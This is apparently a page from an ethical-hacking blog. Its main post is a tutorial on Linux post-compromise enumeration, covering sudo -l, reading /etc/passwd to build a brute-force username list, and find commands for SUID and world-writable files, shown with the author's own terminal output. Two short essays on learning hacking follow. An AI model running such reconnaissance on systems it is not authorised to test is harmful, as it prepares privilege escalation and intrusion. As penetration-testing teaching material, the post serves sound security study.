-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts
  • All about Enumeration

     

    All about Enumeration



    Enumeration is the first step you have to take once you gain access to any system. You may have accessed the system by exploiting a critical vulnerability that resulted in root-level access or just found a way to send commands using a low privileged account. Penetration testing engagements, unlike CTF machines, don't end once you gain access to a specific system or user privilege level.
    As you will see, enumeration is as important during the post-compromise phase as it is before.



    hostname


    The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a
    relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s
    role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ hostname              
    KumarAtulJaiswal
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    uname -a


    Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ uname -a
    Linux KumarAtulJaiswal 5.18.0-kali2-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali1 (2022-06-20) x86_64 GNU/Linux
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    



    /proc/version


    The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux
    flavours, making it an essential tool to have in your arsenal.


    Looking at /proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC)
    is installed.


                                                                                                                                                                 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ cat /proc/version                                       
    Linux version 5.18.0-kali2-amd64 (devel@kali.org) (gcc-11 (Debian 11.3.0-3) 11.3.0, GNU ld (GNU Binutils for Debian) 2.38) #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali1 (2022-06-20)
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    



    /etc/issue


    Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system but can easily be customized or changes. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ cat /etc/issue     
    Kali GNU/Linux Rolling \n \l
    
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    
    

    ps Command


    The ps command is an effective way to see the running processes on a Linux system. Typing ps on your terminal will show processes for the current shell.

    The output of the ps (Process Status) will show the following:


    • PID: The process ID (unique to the process)
    • TTY: Terminal type used by the user
    • Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
    • CMD: The command or executable running (will NOT display any command line parameter)



    The “ps” command provides a few useful options.

    • ps -A: View all running processes
    • ps axjf: View process tree (see the tree formation until ps axjf is run below)


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ ps aux                
    USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root           1  0.0  0.2 167472  9832 ?        Ss   11:06   0:02 /sbin/init splash
    root           2  0.0  0.0      0     0 ?        S    11:06   0:00 [kthreadd]
    root           3  0.0  0.0      0     0 ?        I<   11:06   0:00 [rcu_gp]
    root           4  0.0  0.0      0     0 ?        I<   11:06   0:00 [rcu_par_gp]
    root           5  0.0  0.0      0     0 ?        I<   11:06   0:00 [netns]
    root           7  0.0  0.0      0     0 ?        I<   11:06   0:00 [kworker/0:0H-events_highpri]
    root           9  0.0  0.0      0     0 ?        I<   11:06   0:02 [kworker/0:1H-events_highpri]
    root          10  0.0  0.0      0     0 ?        I<   11:06   0:00 [mm_percpu_wq]
    root          11  0.0  0.0      0     0 ?        I    11:06   0:00 [rcu_tasks_kthread]
    root          12  0.0  0.0      0     0 ?        I    11:06   0:00 [rcu_tasks_rude_kthread]
    root          13  0.0  0.0      0     0 ?        I    11:06   0:00 [rcu_tasks_trace_kthread]
    root          14  0.0  0.0      0     0 ?        S    11:06   0:01 [ksoftirqd/0]
    root          15  0.1  0.0      0     0 ?        I    11:06   0:22 [rcu_preempt]
    root          16  0.0  0.0      0     0 ?        S    11:06   0:00 [migration/0]
    
    


     

    env


    The env command will show environmental variables.

     

                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ env                                                                                                                      
    COLORFGBG=15;0
    COLORTERM=truecolor
    COMMAND_NOT_FOUND_INSTALL_PROMPT=1
    DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
    DESKTOP_SESSION=lightdm-xsession
    DISPLAY=:0.0
    DOTNET_CLI_TELEMETRY_OPTOUT=1
    GDMSESSION=lightdm-xsession
    GDM_LANG=en_IN.utf8
    GTK_MODULES=gail:atk-bridge
    HOME=/home/hackerboy
    LANG=en_IN
    LANGUAGE=en_IN:en
    LOGNAME=hackerboy
    PANEL_GDK_CORE_DEVICE_EVENTS=0
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
    POWERSHELL_TELEMETRY_OPTOUT=1
    POWERSHELL_UPDATECHECK=Off
    PWD=/home/hackerboy
    QT_ACCESSIBILITY=1
    QT_AUTO_SCREEN_SCALE_FACTOR=0
    QT_QPA_PLATFORMTHEME=qt5ct
    SESSION_MANAGER=local/KumarAtulJaiswal:@/tmp/.ICE-unix/1092,unix/KumarAtulJaiswal:/tmp/.ICE-unix/1092
    SHELL=/usr/bin/zsh
    SSH_AGENT_PID=1147
    SSH_AUTH_SOCK=/tmp/ssh-XXXXXXAg7KOV/agent.1092
    TERM=xterm-256color
    USER=hackerboy
    WINDOWID=0
    XAUTHORITY=/home/hackerboy/.Xauthority
    XDG_CONFIG_DIRS=/etc/xdg
    XDG_CURRENT_DESKTOP=XFCE
    XDG_DATA_DIRS=/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share
    XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/hackerboy
    XDG_MENU_PREFIX=xfce-
    XDG_RUNTIME_DIR=/run/user/1000
    XDG_SEAT=seat0
    XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
    XDG_SESSION_CLASS=user
    XDG_SESSION_DESKTOP=lightdm-xsession
    XDG_SESSION_ID=3
    XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
    XDG_SESSION_TYPE=x11
    XDG_VTNR=7
    _JAVA_OPTIONS=-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    SHLVL=1
    OLDPWD=/home/hackerboy
    LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
    LESS_TERMCAP_mb=
    LESS_TERMCAP_md=                                                                                                                                                       
    LESS_TERMCAP_me=                                                                                                                                                       
    LESS_TERMCAP_so=
    LESS_TERMCAP_se=                                                                                                                                                       
    LESS_TERMCAP_us=
    LESS_TERMCAP_ue=                                                                                                                                                       
    _=/usr/bin/env
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    


    The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation.



    sudo -l


    The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be
    used to list all commands your user can run using sudo.




                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo -l                        
    [sudo] password for hackerboy: 
    Matching Defaults entries for hackerboy on KumarAtulJaiswal:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
    
    User hackerboy may run the following commands on KumarAtulJaiswal:
        (ALL : ALL) ALL
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    


    ls


    One of the common commands used in Linux is probably ls.


    While looking for potential privilege escalation vectors, please remember to always use the ls command with the -la parameter.
    The example below shows how the “secret.txt” file can easily be missed using the ls or ls -l commands.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ ls    
    check.txt  id_rsa.txt
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ ls -la
    total 24
    drwxr-xr-x   2 hackerboy hackerboy  4096 May 11  2022 .
    drwxr-xr-x 138 hackerboy hackerboy 12288 Dec 27 14:35 ..
    -rwxrwxrwx   1 hackerboy hackerboy   666 Oct 15  2020 check.txt
    -rwxrwxrwx   1 hackerboy hackerboy  1674 Oct 15  2020 id_rsa.txt
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    
    
    
    
    

    Id


    The id command will provide a general overview of the user’s privilege level and group memberships.
    It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.


                                                                                                                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ id      
    uid=1000(hackerboy) gid=1000(hackerboy) groups=1000(hackerboy),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),121(wireshark),134(scanner),142(kaboxer)
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    
    
    

    /etc/passwd


    Reading the /etc/passwd file can be an easy way to discover users on the system.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ cat /etc/passwd
    root:x:0:1:root:/root:/usr/bin/zsh
    daemon:x:1:0:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:0:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    
    


    While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ cat /etc/passwd | cut -d ":" -f 1
    root
    daemon
    bin
    sys
    sync
    games
    man
    lp
    
    


    Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory. 


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ cat /etc/passwd | grep home       
    hackerboy:x:1000:1000:hackerboy,,,:/home/hackerboy:/usr/bin/zsh
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    



    history


    Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely,
    have stored information such as passwords or usernames.



    ifconfig


    The target system may be a pivoting point to another network. The ifconfig command will give us information about the network
    interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking
    machine can reach the eth0 interface but can not directly access the two other networks.


    This can be confirmed using the ip route command to see which network routes exist. 


                                                                                                                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ ip route
    default via 192.168.13.125 dev usb0 proto dhcp src 192.168.13.51 metric 100 
    192.168.13.0/24 dev usb0 proto kernel scope link src 192.168.13.51 metric 100 
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/wgel]
    └─$ 
    
    
    
    

    netstat



    Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.


    • netstat -a: shows all listening ports and established connections.
    • netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.
    • netstat -l: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below).


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -lt
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
    tcp6       0      0 [::]:ssh                [::]:*                  LISTEN     
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    netstat -s: list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -s 
    Ip:
        Forwarding: 2
        32791 total packets received
        2 with invalid addresses
        0 forwarded
        0 incoming packets discarded
        32782 incoming packets delivered
        29047 requests sent out
    Icmp:
        0 ICMP messages received
        0 input ICMP message failed
        ICMP input histogram:
        0 ICMP messages sent
        0 ICMP messages failed
        ICMP output histogram:
    Tcp:
        423 active connection openings
        0 passive connection openings
        2 failed connection attempts
        2 connection resets received
        10 connections established
        21178 segments received
        20463 segments sent out
        94 segments retransmitted
        4 bad segments received
        674 resets sent
    Udp:
        11606 packets received
        0 packets to unknown port received
        0 packet receive errors
        10177 packets sent
        0 receive buffer errors
        0 send buffer errors
    UdpLite:
    TcpExt:
        184 TCP sockets finished time wait in fast timer
        2 packetes rejected in established connections because of timestamp
        213 delayed acks sent
        Quick ack mode was activated 33 times
        9166 packet headers predicted
        1752 acknowledgments not containing data payload received
        1803 predicted acknowledgments
        TCPSackRecovery: 3
        Detected reordering 14 times using SACK
        1 congestion windows fully recovered without slow start
        TCPDSACKUndo: 2
        TCPLostRetransmit: 1
        3 fast retransmits
        TCPTimeouts: 11
        TCPLossProbes: 82
        TCPLossProbeRecovery: 10
        TCPDSACKOldSent: 33
        TCPDSACKOfoSent: 12
        TCPDSACKRecv: 45
        94 connections reset due to unexpected data
        2 connections reset due to early user close
        TCPDSACKIgnoredNoUndo: 24
        TCPSackShiftFallback: 31
        TCPRcvCoalesce: 4786
        TCPOFOQueue: 5029
        TCPOFOMerge: 12
        TCPChallengeACK: 4
        TCPSYNChallenge: 4
        TCPAutoCorking: 38
        TCPSynRetrans: 9
        TCPOrigDataSent: 5683
        TCPHystartDelayDetect: 1
        TCPHystartDelayCwnd: 320
        TCPACKSkippedPAWS: 1
        TCPKeepAlive: 292
        TCPDelivered: 5862
        TCPAckCompressed: 1018
        TCPDSACKRecvSegs: 45
    IpExt:
        InOctets: 34605350
        OutOctets: 14722497
        InNoECTPkts: 32749
        InECT0Pkts: 42
    MPTcpExt:
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    


     

    netstat -tp: list connections with the service name and PID information.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -tp
    (Not all processes could be identified, non-owned process info
     will not be shown, you would have to be root to see it all.)
    Active Internet connections (w/o servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 192.168.63.167:34046    bom12s20-in-f9.1e:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:50054    server-18-161-111:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:55010    bom12s20-in-f9.1e:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:48406    233.90.160.34.bc.:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:38404    ec2-35-174-127-31:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:43460    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:32888    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:43446    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:44862    ec2-3-225-70-247.:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:38596    bom12s20-in-f9.1e:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:36350    ec2-100-20-114-17:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:57030    201.181.244.35.bc:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:50894    23.58.120.34.bc.g:https ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:58606    104.22.54.228:https     ESTABLISHED 1803/firefox-esr    
    tcp        0      0 192.168.63.167:34198    ec2-35-174-127-31:https ESTABLISHED 1803/firefox-esr    
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    This can also be used with the -l option to list listening ports (below)


                                                                                                                                                                          
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -ltp
    (Not all processes could be identified, non-owned process info
     will not be shown, you would have to be root to see it all.)
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      -                   
    tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -                   
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    


    We can see the “PID/Program name” column is empty as this process is owned by another user.

    Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)


    netstat -i: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -i   
    Kernel Interface table
    Iface      MTU    RX-OK RX-ERR RX-DRP RX-OVR    TX-OK TX-ERR TX-DRP TX-OVR Flg
    eth0      1500        0      0      0 0             0      0      0      0 BMU
    lo       65536        4      0      0 0             4      0      0      0 LRU
    usb0      1500    36151      0      0 0         38299      0      0      0 BMRU
    wlan0     1500        0      0      0 0             0      0      0      0 BMU
                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    



    The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down as follows;

    •     -a: Display all sockets
    •     -n: Do not resolve names
    •     -o: Display timers


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ netstat -ano
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
    tcp        0      0 192.168.63.167:50054    18.161.111.125:443      TIME_WAIT   timewait (4.61/0/0)
    tcp        0      0 192.168.63.167:55010    142.251.42.41:443       ESTABLISHED off (0.00/0/0)
    tcp        0      0 192.168.63.167:48406    34.160.90.233:443       TIME_WAIT   timewait (5.55/0/0)
    
    



     

    find Command


    Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.

    Below are some useful examples for the “find” command.



    Find files:

    •     find . -name flag1.txt: find the file named “flag1.txt” in the current directory
    •     find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
    •     find / -type d -name config: find the directory named config under “/”
    •     find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)
    •     find / -perm a=x: find executable files
    •     find /home -user frank: find all files for user “frank” under “/home”
    •     find / -mtime 10: find files that were modified in the last 10 days
    •     find / -atime 10: find files that were accessed in the last 10 day
    •     find / -cmin -60: find files changed within the last hour (60 minutes)
    •     find / -amin -60: find files accesses within the last hour (60 minutes)
    •     find / -size 50M: find files with a 50 MB size


    This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ find / -size +100M                
    /home/hackerboy/Videos/3.mp4
    /home/hackerboy/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/libxul.so
    /home/hackerboy/Documents/OSCP-machine/Hack_Me_Please.rar
    /home/hackerboy/Documents/OSCP-machine/Ubuntu_CTF.ova
    /home/hackerboy/Documents/sql/rockyou.txt
    /home/hackerboy/Documents/iMaHackerBoY/new/osf.exe
    /home/hackerboy/Documents/iMaHackerBoY/new/Hacking-All-books-PDF/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    find: ‘/proc/3159/ns’: Permission denied
    find: ‘/proc/3166/task/3166/fd’: Permission denied
    find: ‘/proc/3166/task/3166/fdinfo’: Permission denied
    find: ‘/proc/3166/task/3166/ns’: Permission denied
    find: ‘/proc/3166/fd’: Permission denied
    find: ‘/proc/3166/map_files’: Permission denied
    find: ‘/proc/3166/fdinfo’: Permission denied
    find: ‘/proc/3166/ns’: Permission denied
    find: ‘/proc/3221/task/3221/fd’: Permission denied
    find: ‘/proc/3221/task/3221/fdinfo’: Permission denied
    find: ‘/proc/3221/task/3221/ns’: Permission denied
    find: ‘/proc/3221/fd’: Permission denied
    find: ‘/proc/3221/map_files’: Permission denied
    find: ‘/proc/3221/fdinfo’: Permission denied
    find: ‘/proc/3221/ns’: Permission denied
    find: ‘/proc/3222/task/3222/fd’: Permission denied
    find: ‘/proc/3222/task/3222/fdinfo’: Permission denied
    find: ‘/proc/3222/task/3222/ns’: Permission denied
    find: ‘/proc/3222/fd’: Permission denied
    find: ‘/proc/3222/map_files’: Permission denied
    find: ‘/proc/3222/fdinfo’: Permission denied
    find: ‘/proc/3222/ns’: Permission denied
    find: ‘/proc/3316/task/3316/fd/5’: No such file or directory
    find: ‘/proc/3316/task/3316/fdinfo/5’: No such file or directory
    find: ‘/proc/3316/fd/6’: No such file or directory
    find: ‘/proc/3316/fdinfo/6’: No such file or directory
    find: ‘/.cache’: Permission denied
    /usr/share/burpsuite/burpsuite.jar
    
    
    


    The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below).


                                                                                                                                                                           
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ find / -size +100M -type f 2>/dev/null
    /home/hackerboy/Videos/3.mp4
    /home/hackerboy/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/libxul.so
    /home/hackerboy/Documents/OSCP-machine/Hack_Me_Please.rar
    /home/hackerboy/Documents/OSCP-machine/Ubuntu_CTF.ova
    /home/hackerboy/Documents/sql/rockyou.txt
    /home/hackerboy/Documents/iMaHackerBoY/new/osf.exe
    /home/hackerboy/Documents/iMaHackerBoY/new/Hacking-All-books-PDF/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    /home/hackerboy/Documents/iMaHackerBoY/new/kali/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    /home/hackerboy/Documents/rockyou.txt
    /home/hackerboy/Documents/import/rainbow table/winrtgen/md5_alpha-numeric#1-7_0_2400x40000000_oxid#000.rt
    /home/hackerboy/Documents/import/cerified website for CEH/Nmap Network Scanning_ The Official Nmap Project Guide to Network Discovery and Security Scanning ( PDFDrive.com ).pdf
    
    


    Folders and files that can be written to or executed from:

    •     find / -writable -type d 2>/dev/null : Find world-writeable folders
    •     find / -perm -222 -type d 2>/dev/null: Find world-writeable folders
    •     find / -perm -o w -type d 2>/dev/null: Find world-writeable folders


    The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.

    •     find / -perm -o x -type d 2>/dev/null : Find world-executable folders


    Find development tools and supported languages:

    •     find / -name perl*
    •     find / -name python*
    •     find / -name gcc*


    Find specific file permissions:

    Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details on task 6. The example below is given to complete the subject on the “find” command.

    •     find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.


    General Linux Commands


    As we are in the Linux realm, familiarity with Linux commands, in general, will be very useful. Please spend some time getting comfortable with commands such as find, locate, grep, cut, sort, etc.




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Can i learn hacking on my own ?

     

    Can i learn hacking on my own ?

     

     

     

    Can i learn hacking on my own ?


    Yes, if you follow these rules :

    Be a problem solver

     

    First, you have to be a problem sovler instead of complaining about it, like you face a computer error will try to setup something than fix it on you own by googling or youtube. This improves your knowledge about how things work and its very important for a hacker.




    Join Community of Hacker


    Yes, you have to join a community of like minded people so you can see what actually happening in the technical world and you can discuss your doubts and also help others with their problems and indirectly it improves your skills and knowledge.




    Save Bookmark of Hacking Blogs


    Find at least 3 website that post tutorials or guides about pen-testing, computer tricks, smartphone tricks, etc. So, you will learn the latest things which newly discovered or developed.



    Find a problem then fix it


    This technical world is full of problems, daily people face many problems and its oportunity for hackers or technical experts by finding their solutions and become famous or increase your value. It helps you give motivation for your journey and you start thinking out of the box.


    Disclaimer

     
     
    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     



  • What is a thing which cannot be hacked?

      

    What is a thing which cannot be hacked? by hackingtruth.in or kumaratuljaiswal.in


    which cannot be hacked


     

    "In simple words, All things that are not connected to the internet cannot be hacked. "


    otherwise, Yes, there are many very small systems that cannot be hacked.

    Hacking a system is like robbing a bank. If the bank is a 1 inch by 1 inch solid steel box, and is kept inside my pocket, it really can’t be hacked.

    The larger the system, the more possibilities for it to have a flaw/vulnerability that can be exploited, resulting in a hack.

    However, today computer and digital systems are very complex. Even if you have a perfect cryptographic system (e.g. AES) or even if you have a theoretically proven flawless algorithm (Google NaCl), then you still have to run these pieces of code on an operating system and a sizable hardware, both of which are susceptible to attacks. What is a thing which cannot be hacked?



    For example, did you know that all cryptography can become futile, if you can measure the power usage of the hardware? Because then you can tell how exactly is the algorithm running, and extract the secrets from it. These attacks are called side-channel attacks.




     

    EVM Voting In India

     

